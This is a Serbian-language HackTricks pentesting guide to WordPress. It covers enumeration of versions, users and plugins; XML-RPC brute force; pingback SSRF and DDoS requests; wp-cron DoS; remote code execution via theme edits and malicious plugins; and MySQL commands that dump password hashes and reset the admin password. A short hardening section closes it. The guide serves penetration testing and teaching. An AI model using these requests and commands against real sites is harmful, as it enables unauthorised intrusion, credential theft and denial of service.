hacktricks/network-services-pentesting/pentesting-web/wordpress.md

20 KiB

Wordpress

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Osnovne informacije

Postavljene datoteke idu na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Datoteke tema se mogu naći u /wp-content/themes/, tako da ako promenite neki php fajl teme da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti fajlu 404.php na: /wp-content/themes/twentytwelve/404.php
Još jedan koristan URL bi mogao biti: /wp-content/themes/default/404.php

U wp-config.php možete pronaći root šifru baze podataka.

Podrazumevane putanje za prijavljivanje koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Glavne WordPress datoteke

  • index.php
  • license.txt sadrži korisne informacije poput verzije instaliranog WordPress-a.
  • wp-activate.php se koristi za proces aktivacije e-pošte prilikom postavljanja nove WordPress stranice.
  • Folderi za prijavljivanje (mogu biti preimenovani da bi se sakrili):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php je fajl koji predstavlja funkciju WordPress-a koja omogućava prenos podataka HTTP-om kao mehanizmom prenosa i XML-om kao mehanizmom enkodiranja. Ovaj tip komunikacije je zamenjen WordPress REST API.
  • Folder wp-content je glavni direktorijum gde se čuvaju dodaci i teme.
  • wp-content/uploads/ je direktorijum gde se čuvaju svi fajlovi postavljeni na platformu.
  • wp-includes/ Ovo je direktorijum gde se čuvaju osnovni fajlovi, poput sertifikata, fontova, JavaScript fajlova i vidžeta.
  • wp-sitemap.xml U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.

Post eksploatacija

  • Fajl wp-config.php sadrži informacije potrebne WordPress-u da se poveže sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i šifra, autentifikacioni ključevi i soli, i prefiks tabele baze podataka. Ovaj konfiguracioni fajl takođe može biti korišćen za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.

Dozvole korisnika

  • Administrator
  • Urednik: Objavljuje i upravlja svojim i tuđim postovima
  • Autor: Objavljuje i upravlja svojim postovima
  • Saradnik: Piše i upravlja svojim postovima, ali ih ne može objaviti
  • Pretplatnik: Pregleda postove i uređuje svoj profil

Pasivno nabrajanje

Dobijanje verzije WordPress-a

Proverite da li možete pronaći fajlove /license.txt ili /readme.html

Unutar izvornog koda stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta ime

  • CSS link fajlovi

  • JavaScript fajlovi

Dobijanje dodataka

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Dobijanje Tema

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Izdvajanje verzija općenito

{% endcode %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aktivno nabrajanje

Dodaci i teme

Verovatno nećete moći da pronađete sve moguće Dodatke i Teme. Da biste otkrili sve od njih, moraćete aktivno Brute Force-ovati listu Dodataka i Tema (srećom, postoje automatizovani alati koji sadrže ove liste).

Korisnici

ID Brute

Dobijate validne korisnike sa WordPress sajta Brute Force-ovanjem ID-eva korisnika:

curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevažeći.

wp-json

Takođe možete pokušati dobiti informacije o korisnicima upitom:

curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ endpoint koji može otkriti informacije o korisnicima je:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Napomena da ovaj endpoint otkriva samo korisnike koji su objavili post. Biće pružene informacije samo o korisnicima koji imaju ovu funkciju omogućenu.

Takođe, obratite pažnju da /wp-json/wp/v2/pages može otkriti IP adrese.

Enumeracija korisničkih imena za prijavljivanje

Prilikom prijave na /wp-login.php poruka je različita ako je navedeno korisničko ime postoji ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti napad grubom silom na akreditacije ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).

Da biste videli da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:

Provera

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce pristupnice

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neke od metoda koje se mogu koristiti za bruteforce pristupnica. Ako uspete da pronađete bilo koju od njih, možete poslati nešto poput:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Pogrešno korisničko ime ili lozinka" treba da se pojavi u odgovoru koda 200 ako pristupni podaci nisu validni.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način za brute-force pristupanje korisničkim podacima koristeći system.multicall jer možete isprobati nekoliko pristupnih podataka u istom zahtevu:

Bypass 2FA

Ovaj metod je namenjen programima, a ne ljudima, i star je, stoga ne podržava 2FA. Dakle, ako imate validne podatke za pristup, ali je glavni ulaz zaštićen 2FA, možda ćete moći zloupotrebiti xmlrpc.php da se prijavite sa tim podacima zaobićići 2FA. Imajte na umu da nećete moći obavljati sve radnje koje možete obavljati putem konzole, ali još uvek možete doći do RCE kako to objašnjava Ippsec u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ili skeniranje porta

Ako možete pronaći metod pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.
Ovo se može koristiti da zatražite od hiljada Wordpress sajtova da pristupe jednoj lokaciji (tako da se DDoS izazove na toj lokaciji) ili možete koristiti da naterate Wordpress da skenira neku internu mrežu (možete naznačiti bilo koji port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte upotrebu system.multicall u prethodnom odeljku da biste saznali kako zloupotrebiti ovu metodu kako biste izazvali DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ovaj fajl obično postoji pod korenom Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "teški" MySQL upit, pa ga napadači mogu koristiti da izazovu DoS.
Takođe, podrazumevano, wp-cron.php se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).

Preporučuje se onemogućavanje Wp-Cron-a i kreiranje pravog cronjob-a unutar hosta koji obavlja potrebne akcije u redovnom intervalu (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte pristupiti https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može poslati zahtev ka vama.

Ovo je odgovor kada ne radi:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy i ako postoje, pokušava ih iskoristiti.

Automatski Alati

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Dobijanje pristupa prepisivanjem bita

Više od pravog napada, ovo je radoznalost. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste prebaciti 1 bit iz bilo kog wordpress fajla. Dakle, mogli ste prebaciti poziciju 5389 fajla /var/www/html/wp-includes/user.php da biste NOP-ovali operaciju NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifikovanje php datoteke iz korišćene teme (potrebne administratorske akreditacije)

Izgled → Uređivač teme → 404 Šablon (desno)

Promenite sadržaj za php shell:

Pretražite na internetu kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

PHP plugin

Moguće je da je moguće učitati .php datoteke kao dodatak.
Napravite svoj php backdoor koristeći na primer:

Zatim dodajte novi dodatak:

Učitajte dodatak i pritisnite Install Now:

Kliknite na Procced:

Verovatno ovo neće ništa uraditi na prvi pogled, ali ako odete na Media, videćete svoj shell učitan:

Pristupite mu i videćete URL za izvršavanje reverse shell-a:

Učitavanje i aktiviranje zlonamernog dodatka

Ovaj metod uključuje instalaciju zlonamernog dodatka koji je poznat kao ranjiv i može biti iskorišćen za dobijanje web shell-a. Ovaj proces se sprovodi putem WordPress kontrolne table na sledeći način:

  1. Dobijanje dodatka: Dodatak se dobija sa izvora poput Exploit DB kao ovde.
  2. Instalacija dodatka:
  • Idite na WordPress kontrolnu tablu, zatim idite na Dashboard > Plugins > Upload Plugin.
  • Učitajte zip datoteku preuzetog dodatka.
  1. Aktivacija dodatka: Kada se dodatak uspešno instalira, mora biti aktiviran putem kontrolne table.
  2. Iskorišćavanje:
  • Sa dodatkom "reflex-gallery" instaliranim i aktiviranim, može biti iskorišćen jer je poznato da je ranjiv.
  • Metasploit okvir pruža eksploataciju za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem određenih komandi, može se uspostaviti meterpreter sesija, omogućavajući neovlašćen pristup sajtu.
  • Napomenuto je da je ovo samo jedan od mnogih načina za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne pomagala koja prikazuju korake u WordPress kontrolnoj tabli za instaliranje i aktiviranje dodatka. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, poput testiranja penetracije sa eksplicitnim odobrenjem.

Za detaljnije korake pogledajte: https://www.hackingarticles.in/wordpress-reverse-shell/**

Post Eksploatacija

Izvucite korisnička imena i lozinke:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite lozinku administratora:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Zaštita WordPress-a

Redovno ažuriranje

Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php datoteci:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress dodatke i teme.

Sigurnosni dodaci

Druga preporuke

  • Uklonite podrazumevanog korisnika admin
  • Koristite jake lozinke i 2FA
  • Periodično pregledajte dozvole korisnika
  • Ograničite pokušaje prijave kako biste sprečili napade Brute Force
  • Preimenujte datoteku wp-admin.php i dozvolite pristup samo interno ili sa određenih IP adresa.


Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Pristupite danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: